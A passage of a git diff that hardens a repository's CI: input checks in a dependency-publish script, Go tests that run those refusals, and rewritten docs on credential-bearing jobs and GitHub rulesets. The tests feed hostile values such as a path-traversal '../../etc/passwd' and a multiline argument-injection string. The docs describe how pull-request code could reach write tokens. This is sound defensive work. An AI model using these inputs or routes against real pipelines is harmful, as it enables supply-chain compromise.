diff --git a/.github/scripts/combine-deps-publish.sh b/.github/scripts/combine-deps-publish.sh index e0f2fcc9..f1d1ba8c 100755 --- a/.github/scripts/combine-deps-publish.sh +++ b/.github/scripts/combine-deps-publish.sh @@ -25,6 +25,26 @@ fi BASE="$(cat "$IN/base")" mapfile -t combined < "$IN/combined.tsv" +# `BASE` is a value from the artifact like any other, and it was the one value +# that was not checked. It decides two things: the ref the manifest allowlist +# below is computed against, and the base of the pull request opened at the end. +# A value that does not resolve as a branch of this repository makes the first +# meaningless (see the diff below) and the second wrong. +if [[ ! "$BASE" =~ ^[A-Za-z0-9][A-Za-z0-9._/-]*$ ]]; then + echo "::error::refusing to act on base <${BASE}>: a branch is named by a bare name here." >&2 + exit 1 +fi +case "$BASE" in + # `a..b` is a revision RANGE, not a branch, and `.lock` is not a valid ref + # suffix. Neither can reach here through a name that resolves below, but the + # shape rule states what is accepted rather than relying on that. + *..*|*.lock) echo "::error::refusing to act on base <${BASE}>: not a branch name." >&2; exit 1 ;; +esac +if ! git rev-parse --verify --quiet "refs/remotes/origin/${BASE}" >/dev/null; then + echo "::error::refusing to act on base <${BASE}>: it is not a branch of this repository." >&2 + exit 1 +fi + # Every number this half will act on must be a bare number of THIS repository. # The artifact is written by a job that handles unreviewed code, so a value from # it is checked before this token is pointed at anything. @@ -39,7 +59,25 @@ done # And the bundle may carry nothing but dependency manifests. The plan replays # Dependabot commits; anything else in them is not a dependency bump. git fetch --quiet "$IN/combined.bundle" "+refs/heads/${BRANCH}:refs/heads/${BRANCH}" -mapfile -t touched < <(git diff --name-only "origin/${BASE}...refs/heads/${BRANCH}") + +# NOT `mapfile -t touched < <(git diff ...)`. A process substitution is not +# covered by `set -euo pipefail`: a failing `git diff` inside one leaves the +# array empty, `$?` is 0, and the allowlist loop below then iterates zero times +# and admits the bundle unconditionally — right before the push with the PAT. A +# command substitution is covered, so the failure is fatal here. +# +# Fully qualified: a bare `origin/` is an ambiguous rev that a tag of +# the same name can win, which is the same reasoning as the ancestry refusals in +# version-tag.yml and go-service-release.yml. +if ! diffed="$(git diff --name-only "refs/remotes/origin/${BASE}...refs/heads/${BRANCH}")"; then + echo "::error::cannot diff the combined branch against refs/remotes/origin/${BASE}; refusing to publish." >&2 + exit 1 +fi +if [ -z "$diffed" ]; then + echo "::error::the combined branch changes nothing against refs/remotes/origin/${BASE}; refusing to publish." >&2 + exit 1 +fi +mapfile -t touched <<< "$diffed" for path in "${touched[@]}"; do case "$path" in go.mod|go.sum|*/go.mod|*/go.sum|package.json|*/package.json|\ diff --git a/callertoken/callertoken_test.go b/callertoken/callertoken_test.go index f10b7536..a7ca64b4 100644 --- a/callertoken/callertoken_test.go +++ b/callertoken/callertoken_test.go @@ -2,6 +2,8 @@ package callertoken_test import ( "context" + "errors" + "io" "net" "strings" "testing" @@ -100,12 +102,40 @@ func chat(c context.Context, conn *grpc.ClientConn) error { if err != nil { return err } - if err := st.SendMsg(&emptypb.Empty{}); err != nil { - return err + return chatResult(st, st.SendMsg(&emptypb.Empty{})) +} + +// SendMsg reports EOF when the server has already closed the stream. The RPC +// status lives in RecvMsg; returning the send-side EOF hides an authentication +// refusal as codes.Unknown and makes the test depend on scheduling. +func chatResult(st grpc.ClientStream, sendErr error) error { + if sendErr != nil && !errors.Is(sendErr, io.EOF) { + return sendErr } return st.RecvMsg(&emptypb.Empty{}) } +func TestStreamRefusalBeforeSendStillReportsAuthenticationStatus(t *testing.T) { + conn := serve(t, token) + st, err := conn.NewStream(ctx(t), &grpc.StreamDesc{ClientStreams: true, ServerStreams: true}, "/callertoken.test.Echo/Chat") + if err != nil { + t.Fatal(err) + } + // Wait for the real server's refusal before sending. This forces the + // ordering that CI exposed without a sleep or a mocked transport. + _, err = st.Header() + // A trailers-only refusal may expose no header and no Header error. Its + // final status still belongs to RecvMsg. + if err != nil { + requireCode(t, err, codes.Unauthenticated, "missing "+callertoken.MetadataKey) + } + sendErr := st.SendMsg(&emptypb.Empty{}) + if !errors.Is(sendErr, io.EOF) { + t.Fatalf("send after server refusal = %v, want EOF", sendErr) + } + requireCode(t, chatResult(st, sendErr), codes.Unauthenticated, "missing "+callertoken.MetadataKey) +} + func requireCode(t *testing.T, err error, want codes.Code, contains string) { t.Helper() if status.Code(err) != want { diff --git a/docs/ci-credentials.md b/docs/ci-credentials.md index 4e4497fb..0eb92610 100644 --- a/docs/ci-credentials.md +++ b/docs/ci-credentials.md @@ -38,11 +38,14 @@ form GitHub resolves it. Workflow-level `env:` is part of the model, because every job inherits it. So a condition is **evaluated** in three-valued logic against scenarios that -bind the hostile facts — a pull request, a merge-queue candidate, a -`workflow_run` produced by a pull request, a `workflow_run` produced by a push -to a fork, a pushed tag. Anything the evaluator cannot know -(`needs.build.result`, `success()`) is **unknown**, and unknown is not false, so -a job is accepted only when its condition is *provably* false. +bind the hostile facts. The scenarios are **derived from the workflow's own +triggers**, not chosen from a list: `scenariosForTrigger` builds one for every +trigger, including a trigger GitHub ships next year, so there is no enumeration +for a trigger to be exempt from — and a `workflow_call` workflow answers for +every caller event *plus* an unknown remainder that binds no event at all. +Anything the evaluator cannot know (`needs.build.result`, `success()`) is +**unknown**, and unknown is not false, so a condition only counts as refusing a +situation when it is *provably* false there. The evaluator implements GitHub's semantics, not an approximation of them, and the differences are each a condition somebody can build: @@ -83,22 +86,103 @@ reporting "nothing found". ## The rule -**A job that receives a credential must be one of the shapes this repository -runs, recorded exactly, or it is refused.** - -There is one list, in `internal/ciguard/job_templates_test.go`: the six jobs -that hold a secret or a write token, each pinned by a digest over the job's -canonical content and each named alongside the test that executes it. A job -that is not on the list is refused. A job on the list that has changed in any -respect — a step added, an input changed, a field no rule reads — no longer -matches its digest and is refused until someone updates the record, which is -the review step. - -Nothing is analysed. Six rounds of asking what a job *does* — which contexts -are a source, which fields a sink, which commands execute a value — each closed -the routes it had found and left the ones it had not, because the set of things -a workflow can do is not a set a guard can finish. Asking whether a job *is* a -known shape has no such set. +**A job that receives a credential is registered, judged, and recorded — all +three, and the third cannot stand in for the second.** + +`internal/ciguard/job_templates_test.go` asks the three in order and reports +every one that refused: + +1. **Registered.** `permittedCredentialJobs` lists the six jobs that hold a + secret or a write token. A job that is not on it is refused rather than + analysed, because the set of things a workflow can do to reach unreviewed + code is not a set a guard can finish. +2. **Judged.** Either the job's condition is *provably false* in every hostile + situation its workflow's triggers admit, or the job establishes which tree + it executes. Evaluated — see the parser section above — not matched as text; + unknown is not false, and a construction the guard cannot read is a refusal. + Three of the six jobs rest on the second half alone: `goreleaser` is a + reusable workflow whose event the caller chooses, the image publisher is + also reusable, and dependency `publish` has no `if:` at all. Each pins its + checkout to the default branch or refuses a commit that is not on it. +3. **Recorded.** The job's shape — the job block plus the workflow-level `on`, + `permissions`, `env` and `defaults` in scope for every step in it — matches + a digest in `recordedJobDigests`. + +**Why the order matters, stated plainly because this document previously +described (2) while the code did not perform it.** For one release the decision +was (1) and (3) only: the guards computed the hostile situations, asserted the +set was non-empty, discarded it, and compared `sha256` of the whole workflow +file against a constant. A `contents: write` job given a condition that admits +`pull_request`, a checkout pointed at the pull request's own branch and a +`run:` step from that tree then passed the entire suite after one 64-character +constant was re-recorded — which was the remediation the failure message +printed. Re-recording a digest moves a constant; it cannot make a condition +false or a tree reviewed, and (2) is now asked separately so it does not try. + +**What (3) is for.** The residue (2) cannot read: the semantics of a shell +script, a third-party action's behaviour, a field no rule names. A change to +any of that stops matching until someone records the new shape. It is a +changelog with teeth rather than a gate — `main`'s ruleset requires zero +approving reviews, so nothing obliges a human to read the line that changed +(see [branch protection](runbooks/branch-protection.md)). It is scoped to the +job and what the job inherits for a related reason: hashing the whole file made +a Dependabot action-pin bump in an unrelated job produce the same failure, with +the same one-line fix, as a write token entering a job that runs pull request +code. + +**And the refusals written in shell are executed, not read.** A job accepted +because it refuses a commit that is not on the default branch must name the +test that runs that refusal against real repositories +(`jobTemplate.executedBy`); the guard reads that the command is present, +unconditional and fatal, and reads nothing about whether it works. + +A reusable dispatch publisher needs that execution proof too: a +`workflow_dispatch` condition is not provably false for every possible caller +of `workflow_call`. With no explicit checkout `ref`, the tree is the triggering +commit, so the first step after checkout must unconditionally refuse a +`$GITHUB_SHA` not reachable from the repository's own default branch, using its +fully qualified `refs/remotes/origin/` ref. A step condition, non-fatal exit, +neutralising shell, or execution before that refusal invalidates the proof. +An ancestry refusal cannot establish a checkout of a party-chosen ref, nor a +later checkout or tree repoint to unreviewed content. The template must name a +test that executes the refusal. `dispatch_publisher_test.go` exercises this contract +with the real publisher YAML fixture under `internal/ciguard/testdata/`, runs +its shell against real repositories, and re-records every unsafe mutation's +digest before asserting that the judgement still refuses it. + +The execution check attributes every `uses:` and Git invocation. Checkout +reads `repository`, `ref`, and `path`: another repository or an additional +checkout directory cannot be erased by a later checkout of `main`. Unknown +actions and Git verbs are refused. Shell is parsed, including global Git +options, substitutions and line continuations. Only a preceding fatal ancestry +check can attribute `git switch --detach` or `git checkout --detach`. + +Artifact downloads are untrusted content. The coverage badge therefore relies +on its event condition; making it PR-reachable is refused even with a checkout +of `main`. The dependency publisher has a separate, bounded data contract: +`combined-branch` goes outside the workspace, and its only consumer is the +publisher script whose bundle handoff is executed against real repositories. +Changing the path or adding any consumer invalidates that attribution. + +Before a triggering-commit refusal, the parsed commands may only discover and +fetch the authority, format metadata, or report a refusal. A tree script in an +assignment is still execution. Workflow, job and step environments are checked +for interpreter/Git overrides such as `BASH_ENV`, `ENV`, `GIT_CONFIG_*` and +`PATH`. The publisher's command-scoped read-token wrapper remains admitted. +The `executedBy` binding names an exact workflow, job and step; its executing +test lifts that same binding using its own running test identity. A test for +another job cannot be borrowed to certify a new refusal. + +The `workflow_run` hostile scenarios include same-repository pushes to any +non-default branch as well as pull requests and fork pushes. An event and +repository condition alone therefore cannot certify an unmerged branch. + +Every helper must be reachable from a test entry point or `init` +(`reachable_helpers_test.go` follows resolved Go objects transitively, including +through package values; dead cycles and shadowed names do not count as uses). That is not tidiness: the six functions this +rule was supposed to be built from sat in the tree with their explanations +intact and zero callers, and a careful reader concluded the evaluation was +happening. ## The writes, and why each one is safe @@ -216,11 +300,57 @@ guard refuses it — that file holds no credential, so it cannot join the allowlist, and pinning its bytes would be a mechanism for one line. +## Callers: what changed under them, and what it looks like when it breaks + +`go-service-release.yml` and `go-service-ci.yml` are `workflow_call` workflows +that other repositories invoke, so a change here is a change in their builds. +Three of them are breaking, and none of them was written down outside a commit +subject. The consumers are `codefly-dev/service-dynamodb`, +`codefly-dev/service-redis` and `codefly-dev/service-postgres`. + +**`goreleaser-version` was removed as an input.** A caller that still passes it +fails `workflow_call` validation outright, before any job starts. The GoReleaser +version is pinned inside the job now (`version: '~> v2'`), because the version +selects which binary runs and a caller-chosen value is a caller-chosen program. + +**`goreleaser` is gated to a pushed tag** (`if: github.event_name == 'push' && +startsWith(github.ref, 'refs/tags/')`). This is the one to watch, because of +how it fails: a caller that releases on `workflow_dispatch`, on a `release` +event, or on anything other than a tag push now **skips** the job — and a +skipped job reports success. Such a caller publishes nothing and its run is +green. There is no error to find. If a release stops appearing, check the +caller's trigger before anything else. + +**A release is refused unless its tag is on the repository's own default +branch.** The job reads the authority from the remote's own `HEAD` (`git +ls-remote --symref origin HEAD`) and refuses a commit that is not reachable +from it. A caller that tags off a release branch is now refused rather than +released. The authority is deliberately not an input: a value a caller supplies +could be omitted, defaulted or disagreed with, and each of those is a way to +choose which history counts as reviewed. + +All three admit the consumers as they stand: `service-dynamodb` and +`service-redis` pin `@main`, trigger on a `push` of `v*`, pass no `with:` and +tag on their default branch; `service-postgres` pins a commit, so it is +unaffected until it bumps, and its `release` job is `if: github.event_name == +'push'` and passes only `setup-run`. + +**Also narrower than before:** every job in `agent-ci.yml`, `go-service-ci.yml` +and `go-service-release.yml` now declares `permissions: contents: read`. A +declaration can only narrow the caller's grant, so a caller that needs more — +`packages: read` to pull a private package, say — gets a failure inside the +reusable job rather than at validation. No caller of `agent-ci.yml` exists in +either organisation today. + ## Adding a workflow Declare `permissions: contents: read` at workflow scope and name no secret, and stop. If a job needs to write or to hold a secret, give it its own `permissions:` block, its own `if:` pinning it to a push of `main` or a tag, and no checkout of anything a pull request supplied. Keep party-chosen values -out of every `run:` script, whether or not the job holds a credential. Running -`go test ./internal/ciguard/` tells you whether you got it right. +out of every `run:` script, whether or not the job holds a credential. + +Running `go test ./internal/ciguard/` tells you whether you got it right, and +for a credential-bearing job it now tells you *which* of the three parts of the +rule refused and why. A failure naming only the record is a failure you may +clear by recording; one naming the judgement is not. diff --git a/docs/runbooks/branch-protection.md b/docs/runbooks/branch-protection.md index 69cdc3aa..887abf26 100644 --- a/docs/runbooks/branch-protection.md +++ b/docs/runbooks/branch-protection.md @@ -1,17 +1,79 @@ # Protecting `main` -`main` has no branch protection, so any pull request can merge while its checks -are red. #447 did: `Build: FAILURE` was visible on the pull request, GitHub -auto-merge was not involved, and nothing stopped the merge. +## Where protection lives: rulesets, not the legacy API -That is not a one-off cost. Pull request CI tests the *merge* of the branch with -`main`, so one red commit on `main` turns every open pull request red regardless -of its contents — and the failure looks exactly like ordinary flakiness, so it -is paid for by every contributor at once before anyone diagnoses it. +**Read this first, because this document used to say the opposite.** It opened +with "`main` has no branch protection" and told you to `PUT` a legacy +`branches/main/protection` object. Both were wrong, and wrong in opposite +directions: `main` *is* protected, by a **ruleset**, and following the old +instructions would have written a legacy protection object alongside it. -Protection is applied in **repository settings**, which this repository cannot -reach. This runbook is the other half: the check names that are safe to require, -and the ones that will wedge every merge if you require them. +The two live in different APIs and neither mentions the other: + +```sh +# 404 "Branch not protected" — and this means only that no LEGACY protection +# object exists. It is not a statement about whether the branch is protected. +gh api repos/codefly-dev/core/branches/main/protection + +# The actual answer. +gh api repos/codefly-dev/core/rulesets --jq '.[] | {id, name, target, enforcement}' +gh api repos/codefly-dev/core/rulesets/24397257 +``` + +A 404 from the first is how the claim above got written down. Across these +repositories the rulesets are: + +| Repository | Ruleset | Id | +| --- | --- | --- | +| `codefly-dev/core` | `protect main` | 24397257 | +| `codefly-dev/sdk-go` | `protect main` | 24397258 | +| `codefly-dev/cli` | `main merge queue` | 23846762 | + +### What `protect main` holds on core today + +Queried, not inferred. Ruleset 24397257, `target: branch`, +`enforcement: active`, `bypass_actors: []`, conditions `refs/heads/main`: + +- **`required_status_checks`** — `Build`, `Proto`, `Registry cache cold (go)`, + `Registry cache cold (next)`, `Registry cache clean runner (go)`, + `Registry cache clean runner (next)`. Six, not the seven below: + `pnpm source evidence` is derived as safe to require and is **not** in the + live ruleset. +- **`strict_required_status_checks_policy: false`** — a pull request that went + green against an older `main` can land without being retested. The `"strict": + true` recommended below is not what is applied. +- **`deletion`** and **`non_fast_forward`** — `main` cannot be deleted or + force-pushed. +- **`pull_request`** with **`required_approving_review_count: 0`**. Changes go + through a pull request, and nothing obliges anyone to read one. + +That last line is load-bearing elsewhere. `internal/ciguard`'s credential +record (`job_templates_test.go`) is review friction: it refuses a registered job +whose shape changed until someone records the new one. With zero required +approvals that record is a changelog, not a gate — which is why the credential +decision does not rest on it. See [CI credentials](../ci-credentials.md). + +**The good news, also verified:** `Build` runs `go test ./...` and `go.yml` +triggers on `pull_request` with no `paths:` filter, so `internal/ciguard` is a +required check on every change to `.github/`. The guard suite cannot be skipped. + +## Why the set below matters + +#447 merged with `Build: FAILURE` visible on the pull request; auto-merge was +not involved and nothing stopped it. That is the hole `required_status_checks` +closes, and it is closed now. + +The cost of getting the *names* wrong is the reason this runbook exists. Pull +request CI tests the *merge* of the branch with `main`, so one red commit on +`main` turns every open pull request red regardless of its contents — and the +failure looks exactly like ordinary flakiness, so it is paid for by every +contributor at once before anyone diagnoses it. Meanwhile a required check whose +workflow never runs holds the merge open forever. + +Rulesets are edited in **repository settings** or through the rulesets API, +neither of which this repository can reach. This runbook is the other half: the +check names that are safe to require, and the ones that will wedge every merge +if you require them. ## The set to require @@ -47,44 +109,84 @@ safe rather than merely desirable: ## Applying it +`protect main` already exists, so this UPDATES ruleset 24397257 rather than +creating anything. Fetch it first — a `PUT` replaces the whole object, so a +rule left out of the payload is a rule removed: + ```sh -gh api -X PUT repos/codefly-dev/core/branches/main/protection --input - <<'JSON' +gh api repos/codefly-dev/core/rulesets/24397257 > /tmp/protect-main.json +``` + +Then put it back with the required checks set to exactly the derived set: + +```sh +gh api -X PUT repos/codefly-dev/core/rulesets/24397257 --input - <<'JSON' { - "required_status_checks": { - "strict": true, - "checks": [ - {"context": "Build"}, - {"context": "Proto"}, - {"context": "pnpm source evidence"}, - {"context": "Registry cache cold (go)"}, - {"context": "Registry cache cold (next)"}, - {"context": "Registry cache clean runner (go)"}, - {"context": "Registry cache clean runner (next)"} - ] - }, - "enforce_admins": true, - "required_pull_request_reviews": null, - "restrictions": null + "name": "protect main", + "target": "branch", + "enforcement": "active", + "bypass_actors": [], + "conditions": {"ref_name": {"include": ["refs/heads/main"], "exclude": []}}, + "rules": [ + {"type": "deletion"}, + {"type": "non_fast_forward"}, + {"type": "pull_request", "parameters": { + "required_approving_review_count": 0, + "dismiss_stale_reviews_on_push": false, + "require_code_owner_review": false, + "require_last_push_approval": false, + "required_review_thread_resolution": false, + "allowed_merge_methods": ["merge", "squash", "rebase"] + }}, + {"type": "required_status_checks", "parameters": { + "strict_required_status_checks_policy": true, + "do_not_enforce_on_create": false, + "required_status_checks": [ + {"context": "Build"}, + {"context": "Proto"}, + {"context": "pnpm source evidence"}, + {"context": "Registry cache cold (go)"}, + {"context": "Registry cache cold (next)"}, + {"context": "Registry cache clean runner (go)"}, + {"context": "Registry cache clean runner (next)"} + ] + }} + ] } JSON ``` -All four top-level keys are required by the API even when null. Verify with: +Verify with: ```sh -gh api repos/codefly-dev/core/branches/main/protection \ - --jq '{strict: .required_status_checks.strict, - checks: [.required_status_checks.checks[].context], - admins: .enforce_admins.enabled}' +gh api repos/codefly-dev/core/rulesets/24397257 --jq ' + {enforcement, bypass: (.bypass_actors | length), + rules: [.rules[].type], + strict: (.rules[] | select(.type == "required_status_checks") + | .parameters.strict_required_status_checks_policy), + checks: [.rules[] | select(.type == "required_status_checks") + | .parameters.required_status_checks[].context], + approvals: (.rules[] | select(.type == "pull_request") + | .parameters.required_approving_review_count)}' ``` -`"strict": true` is "require branches to be up to date before merging". It is -what stops a pull request that went green against an older `main` from landing -without being retested, and it costs a rebase per merge. +Two differences from what is live, and both are decisions rather than +oversights to correct blindly: -`"enforce_admins": true` is the decision to actually make. Without it an admin -can still merge red, which is how `main` got here — every merge in recent -history is by the same admin account. +`strict_required_status_checks_policy: true` is "require branches to be up to +date before merging". It stops a pull request that went green against an older +`main` from landing without being retested, and it costs a rebase per merge. +Live value: `false`. + +`required_approving_review_count` stays `0` in the payload above because that is +what is live and because GitHub does not let you approve your own pull request — +on a single-maintainer repository, requiring one means nothing can ever merge. +Raising it is the owner's call, and it is the one change that would turn the +credential record in `internal/ciguard` from a changelog into a gate. + +`bypass_actors: []` is the decision equivalent to the old `enforce_admins: +true`: with a bypass actor an admin can still merge red, which is how `main` got +to #447. It is empty today; keep it empty. ## What must stay out, and why @@ -119,11 +221,11 @@ runs the suite must not hold it — see **`agent-ci`, `go-service-ci`, `go-service-release`, `publish-service-image`.** `workflow_call` only — they run when a service repository dispatches them, never here. -**Approving reviews.** `required_pull_request_reviews` stays null deliberately. -GitHub does not let you approve your own pull request, and on a -single-maintainer repository requiring an approval means nothing can ever merge. +**Approving reviews.** `required_approving_review_count` stays `0` +deliberately — see "Applying it" above for why, and for what it costs. -**Push restrictions.** `restrictions` stays null. `combine-deps.yml` uses +**Push restrictions.** No `restrictions` equivalent is applied. +`combine-deps.yml` uses `DEPS_COMBINE_TOKEN` to push the `deps/combined` branch and open a pull request; it never pushes to `main`, so it is unaffected by protection as configured here and merges through the normal pull request path like anything else. An @@ -139,11 +241,10 @@ code (see [CI credentials](../ci-credentials.md)), but they cannot speak for any other identity with push access. **Status: NOT APPLIED — OPERATOR ACTION, OWNER-OWNED.** Nothing in this -repository can apply or verify it, so no change here closes it and its absence -is not a code defect. A read-only ruleset query returns only the branch -ruleset `protect main`; no tag ruleset exists. This is an operator action and -nothing in this repository can perform or verify it, so it stays open until -someone applies it and records the result here. +repository can apply it, so no change here closes it and its absence is not a +code defect. A read-only ruleset query returns only the branch ruleset +`protect main` (24397257); no ruleset targets `refs/tags/v*`. It stays open +until someone applies one and records the result here. Apply a ruleset targeting `refs/tags/v*` that restricts creation to the Actions identity this workflow runs as, and denies updating and deleting @@ -170,19 +271,18 @@ combination actually needs. See [CI credentials](../ci-credentials.md). ## Before you turn it on -Confirm the five names against a recent **pull request** run rather than a push -to `main`, with `gh pr checks ` or: +Confirm the seven names against a recent **pull request** run rather than a +push to `main`, with `gh pr checks ` or: ```sh gh api repos/codefly-dev/core/commits//check-runs \ --jq '.check_runs[] | "\(.conclusion)\t\(.name)"' ``` -Push runs on `main` are currently red for a reason unrelated to any pull -request: `go.yml`'s Slack notification steps, which are gated to push events, -fail on the bumped action (#489). Pull request runs skip those steps, so `Build` -is green there and requiring it is safe today — but do not read a push run and -conclude the set is wrong. +Confirm them against a **pull request** run, not a push to `main`: the Slack +notification steps in `go.yml` are gated to push events, so a push run can be +red for a reason no pull request ever sees (#489). Pull request runs skip those +steps. ## Keeping the set honest @@ -196,10 +296,14 @@ and both are your job to resolve in the pull request that causes them: - **A check joins the set** — you added a job that runs on every pull request. Protection does not cover it yet. -Either way, update `requiredChecks`, the payload above, **and** the repository -settings in the same change. The settings are not in this repository, so nothing -else will notice; the failure lands on `main` only if the change merges without -protection turned on. +Either way, update `requiredChecks`, the payload above, **and** ruleset +24397257 in the same change. The ruleset is not in this repository, so nothing +else will notice. + +What the test does NOT check is whether the payload above matches what is +actually applied — it cannot reach the API. The six-versus-seven gap on +`pnpm source evidence` is recorded at the top of this file for that reason, and +re-checking it is a `gh api` call, not a test run. One shape to know when adding a **matrix** job: GitHub appends the matrix values to the check name, so an unnamed `lint` job really reports as `lint (1.27)`. The diff --git a/internal/ciguard/branchprotection_test.go b/internal/ciguard/branchprotection_test.go index 1aeda568..fe88a02b 100644 --- a/internal/ciguard/branchprotection_test.go +++ b/internal/ciguard/branchprotection_test.go @@ -305,21 +305,39 @@ func requiredContextsInRunbook(t *testing.T) []string { } require.NotEqual(t, -1, end, "%s: unterminated JSON heredoc", branchProtectionRunbook) + // A RULESET payload, not the legacy branch-protection object. Protection on + // this repository lives in `repos/.../rulesets`; the legacy + // `branches/main/protection` endpoint returns 404, which the runbook used + // to read as "`main` is unprotected" while ruleset 24397257 was active. var payload struct { - RequiredStatusChecks struct { - Checks []struct { - Context string `json:"context"` - } `json:"checks"` - } `json:"required_status_checks"` + Rules []struct { + Type string `json:"type"` + Parameters struct { + RequiredStatusChecks []struct { + Context string `json:"context"` + } `json:"required_status_checks"` + } `json:"parameters"` + } `json:"rules"` } body := strings.Join(lines[start:end], "\n") require.NoError(t, json.Unmarshal([]byte(body), &payload), "%s: the apply payload is not valid JSON, so copy-pasting it fails", branchProtectionRunbook) - out := make([]string, 0, len(payload.RequiredStatusChecks.Checks)) - for _, check := range payload.RequiredStatusChecks.Checks { - out = append(out, check.Context) + var out []string + found := false + for _, rule := range payload.Rules { + if rule.Type != "required_status_checks" { + continue + } + found = true + for _, check := range rule.Parameters.RequiredStatusChecks { + out = append(out, check.Context) + } } + require.True(t, found, + "%s: the apply payload carries no `required_status_checks` rule, so it "+ + "would replace the ruleset with one that requires nothing. A ruleset "+ + "PUT replaces the whole object.", branchProtectionRunbook) return out } diff --git a/internal/ciguard/ciguard_test.go b/internal/ciguard/ciguard_test.go index 81572f2a..fa3eab25 100644 --- a/internal/ciguard/ciguard_test.go +++ b/internal/ciguard/ciguard_test.go @@ -131,7 +131,10 @@ func triggerNode(on yaml.Node, name string) (yaml.Node, bool) { return yaml.Node{}, false } -var secretRef = regexp.MustCompile(`secrets\.([A-Za-z_][A-Za-z0-9_]*)`) +// There was a `secrets\.NAME` regexp here with no callers. `secretRefsIn` +// below goes through the expression parser instead, so it agrees with the +// isolation guards about what counts as a reference -- an index and a +// whole-context read among them, which the regexp never saw. // secretUse is one place in a workflow that consumes a real Actions secret, // paired with the `if:` expression guarding it. diff --git a/internal/ciguard/combine_deps_handoff_test.go b/internal/ciguard/combine_deps_handoff_test.go index 98a586c6..afdd0db9 100644 --- a/internal/ciguard/combine_deps_handoff_test.go +++ b/internal/ciguard/combine_deps_handoff_test.go @@ -156,3 +156,158 @@ func TestTheCombinedBranchTravelsAsABundleWithoutBeingCheckedOut(t *testing.T) { // are recorded in recordedFileDigests, so moving a line from one half to the // other changes a digest and refuses. A `strings.Contains` over a script was // the scanner's last form, and it could be satisfied by a comment. + +// The publisher's own refusals, executed. `BASE` arrives in the artifact the +// unprivileged half writes, and the manifest allowlist is computed against it, +// so an unchecked value makes the allowlist meaningless two lines before the +// push with the PAT. These are the refusals that check it, run against a real +// repository rather than read. +func TestThePublisherRefusesABaseItCannotResolve(t *testing.T) { + ctx := context.Background() + script := filepath.Join(repoRoot(t), publishScript) + + root := t.TempDir() + repo := filepath.Join(root, "repo") + require.NoError(t, os.MkdirAll(repo, 0o755)) + for _, args := range [][]string{ + {"init", "--initial-branch=main"}, + {"-c", "user.email=t@example.test", "-c", "user.name=t", "commit", + "--allow-empty", "-m", "base"}, + // The remote-tracking ref the refusal resolves against. A publisher + // clone has one; a repository with no remote must not be waved through. + {"update-ref", "refs/remotes/origin/main", "HEAD"}, + } { + out, err := testgit.Run(ctx, repo, nil, args...) + require.NoError(t, err, "git %s: %s", strings.Join(args, " "), out) + } + + for _, tc := range []struct{ name, base, refuses string }{ + {name: "multiline branch", base: "main\n--bad", refuses: "a branch is named by a bare name here"}, + { + name: "a path rather than a branch", + base: "../../etc/passwd", refuses: "a branch is named by a bare name here", + }, + { + name: "a revision range, which would diff something else entirely", + base: "main..deps/combined", refuses: "not a branch name", + }, + { + name: "a branch this repository does not have", + base: "no-such-branch", refuses: "it is not a branch of this repository", + }, + { + // The fail-open this replaces: `origin/` made `git diff` + // fail inside a process substitution, which `set -euo pipefail` + // does not cover, so `touched` was empty and the manifest + // allowlist admitted every path in the bundle. + name: "an empty value, which the allowlist used to admit everything for", + base: "", refuses: "a branch is named by a bare name here", + }, + } { + t.Run(tc.name, func(t *testing.T) { + in := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(in, "combined.tsv"), + []byte("1\tdeps/one\n"), 0o600)) + require.NoError(t, os.WriteFile(filepath.Join(in, "base"), + []byte(tc.base), 0o600)) + + command := exec.Command("bash", script, in) + command.Dir = repo + command.Env = append(os.Environ(), "GH_TOKEN=unused") + output, err := command.CombinedOutput() + require.Error(t, err, + "the publisher accepted base %q and carried on to the push:\n%s", + tc.base, output) + require.Contains(t, string(output), tc.refuses, + "the publisher refused base %q for some other reason:\n%s", + tc.base, output) + }) + } +} + +// And the other half of that defect: the diff the allowlist is computed from +// must be FATAL when it fails, not empty. The line is lifted from the script, so +// a revert to the process-substitution form fails here rather than passing. +// Extract the entire parsed statement, not an unterminated `if` line. +func manifestDiffStatement(t *testing.T) string { + t.Helper() + raw, err := os.ReadFile(filepath.Join(repoRoot(t), publishScript)) + require.NoError(t, err) + file, err := executionShell(string(raw)) + require.NoError(t, err) + for _, stmt := range file.Stmts { + if strings.Contains(shellText(stmt), "git diff --name-only") { + return shellText(stmt) + } + } + t.Fatal("publisher has no diff statement") + return "" +} + +func TestTheManifestAllowlistsDiffIsFatalWhenItFails(t *testing.T) { + block := manifestDiffStatement(t) + // bash -n must pass before a failing command can count as a refusal. + syntaxCheck := exec.Command("bash", "-n", "-c", block) + output, err := syntaxCheck.CombinedOutput() + require.NoError(t, err, string(output)) + root := t.TempDir() + for _, args := range [][]string{ + {"init", "--initial-branch=main"}, + {"commit", "--allow-empty", "-m", "base"}, + {"update-ref", "refs/remotes/origin/main", "HEAD"}, + } { + out, err := testgit.Run(context.Background(), root, nil, args...) + require.NoError(t, err, string(out)) + } + run := func(script string) (string, error) { + command := exec.Command("bash", "-euo", "pipefail", "-c", script+"\necho REACHED-THE-NEXT-LINE") + command.Dir = root + command.Env = append(os.Environ(), "BASE=main", "BRANCH=deps/combined") + out, err := command.CombinedOutput() + return string(out), err + } + out, err := run(block) + require.Error(t, err) + require.Contains(t, out, "cannot diff the combined branch") + require.NotContains(t, out, "REACHED-THE-NEXT-LINE") + // A fail-open body must reach the sentinel. This proves syntax and an + // unrelated failure are not what made the negative case green. + out, err = run(strings.ReplaceAll(block, "exit 1", ":")) + require.NoError(t, err, out) + require.Contains(t, out, "REACHED-THE-NEXT-LINE") + _, err = testgit.Run(context.Background(), root, nil, "branch", "deps/combined") + require.NoError(t, err) + out, err = run(block) + require.NoError(t, err, out) + require.Contains(t, out, "REACHED-THE-NEXT-LINE") +} + +// The full publisher fetches the combined branch before diffing it, so a +// missing branch stops at fetch. A real bundle with unrelated history reaches +// the actual diff failure instead (both refs exist, but no merge base does). +func TestThePublisherRefusesAnUndiffableBundle(t *testing.T) { + root := t.TempDir() + git := func(args ...string) string { + out, err := testgit.Run(context.Background(), root, nil, args...) + require.NoError(t, err, string(out)) + return strings.TrimSpace(string(out)) + } + git("init", "--initial-branch=main") + git("commit", "--allow-empty", "-m", "base") + git("update-ref", "refs/remotes/origin/main", "HEAD") + git("checkout", "--orphan", "deps/combined") + git("commit", "--allow-empty", "-m", "unrelated") + in := t.TempDir() + git("bundle", "create", filepath.Join(in, "combined.bundle"), "refs/heads/deps/combined") + git("checkout", "main") + git("branch", "-D", "deps/combined") + require.NoError(t, os.WriteFile(filepath.Join(in, "base"), []byte("main"), 0600)) + require.NoError(t, os.WriteFile(filepath.Join(in, 